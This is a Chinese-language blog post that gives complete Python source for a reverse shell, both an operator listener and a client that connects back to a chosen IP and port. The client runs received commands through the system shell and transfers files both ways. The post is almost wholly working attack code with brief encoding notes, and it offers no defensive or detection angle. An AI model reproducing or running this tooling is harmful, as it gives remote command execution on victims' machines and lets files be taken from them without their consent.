利用Python实现反向Shell的文件上传与下载

  本文代码是基于此前的代码的进一步功能增强,之前代码主要实现命令的执行以及结果的回送,本文代码主要实现文件的下载,这里需要注意在客户端以及服务端的编码的处理,否则会出现此类报错,而且两端都要做编码处理。

服务端:

import socket
import sys
import json #该模块用于对传输的数据进行序列化处理,以实现可靠传输


class Reverseserver:
    def __init__(self,port): #初始化方法或者constructor主要用于创建服务器的socket
        self.port = port
        server_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server_s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        try:
            server_s.bind(('0.0.0.0', self.port))
            server_s.listen(5)
            print("Waiting for connection.....")
            self.connection, self.client_address = server_s.accept()
            print("Connected from : %s %s" % (self.client_address[0], self.client_address[1]))
            
        except Exception as e:
            print('Failed to set up server')
            print(e)
            sys.exit()

    def reliable_send(self, data): #实现可靠的发送,也就是将要传输的数据(无论是什么数据,包括列表类数据)用json进行封装
        json_data = json.dumps(data)
        self.connection.send(json_data.encode('utf-8')) #python3要求在传送之前要进行编码,否则会报错
    

    def reliable_receive(self): #实现可靠的接收,一直接收来自缓冲区的数据,但没有传输完整的情况下,用json进行解封装会报错,因此利用这个异常处理可以知道:利用循环持续接收收据,捕捉到VaueEorr异常说明数据传输不完整
        received_json_data = ""
        while True:
            try:
                received_json_data = received_json_data + self.connection.recv(1024).decode('utf-8')
                return json.loads(received_json_data)
            except ValueError:
                continue

    def write_file(self, path, content):
        with open(path, 'wb') as f:
            f.write(content.encode('utf-8'))
        return "Download Successful."

    def read_file(self, path):
        with open(path, 'rb') as f:
            return f.read().decode('utf-8')

    def execute_remote(self, command):
        self.reliable_send(command)
        if command[0] == 'exit':
            self.connection.close()
            sys.exit(0)
      
        return self.reliable_receive()


    def run(self):
        while True:
            command = input("%s $ " % str(self.client_address))
            command = command.split(" ")
            if command[0] == 'upload':
                file_content = self.read_file(command[1])
                command.append(file_content)
                
            res = self.execute_remote(command)
            if command[0] == 'download':
                res = self.write_file(command[1], res)
            print(res)

my_server = Reverseserver(8888)
my_server.run()

 

客户端代码:

import subprocess
import optparse
import sys
import socket
import json
import os

class ReverseShell:
    def __init__(self, server_ip, port):
        self.server_ip = server_ip
        self.port = port
        self.client_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.client_s.connect((server_ip, self.port))
    
    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.client_s.send(json_data.encode('utf-8'))
    

    def reliable_receive(self):
        received_json_data = ""
        while True:
            try:
                received_json_data = received_json_data + self.client_s.recv(1024).decode('utf-8')
                return json.loads(received_json_data)
            except ValueError:
                continue

    def execute_command(self, command):

        try:
            res = subprocess.check_output(command, shell=True,stderr=subprocess.STDOUT, encoding='GBK')
            return res
        except:
            return 'Failed to execute'


    def change_to_directory(self, path):
        os.chdir(path)
        return "Changed to the directory: %s" % path
    
    def read_file(self, path):
        with open(path, 'rb') as f:
            return f.read().decode('utf-8')

    def write_file(self, path, content):
        with open(path, 'wb') as f:
            f.write(content.encode('utf-8'))
        return "Download Successful."

    def download_file(self, path):
        if not os.path.exists(path):
            return "The file does not exist."
        
        file_content = self.read_file(path)
        return file_content
      
     
        

    def start(self):
        while True:
            command = self.reliable_receive()
            if command[0] == 'exit':
                self.client_s.close()
                sys.exit(0)
            elif command[0] == 'cd' and len(command)>1:
                output = self.change_to_directory(command[1])
            # print(receive_data)
            elif command[0] == 'download':
                output = self.download_file(command[1])
            elif command[0] == 'upload':
                output = self.write_file(command[1],command[2])
            else:
                output = self.execute_command(command)
            self.reliable_send(output)
        
        



if __name__ == "__main__":
    parser = optparse.OptionParser(usage='<Program -s IP -p port')
    parser.add_option('-s', '--server', dest='server_ip', type='string', help="Sepcify the IP address of server")
    parser.add_option('-p', '--port', dest='port', type='int', help='Specify the port of server')
    options, args = parser.parse_args()
    if options.server_ip is None:
        print(parser.usage)
        sys.exit()
    if options.port is None:
        print(parser.usage)
    server_ip = options.server_ip
    port = options.port
    my_reserver_shell = ReverseShell(server_ip, port)
    my_reserver_shell.start()

 

posted @ 2022-04-08 10:32  Jason_huawen  阅读(155)  评论(0编辑  收藏  举报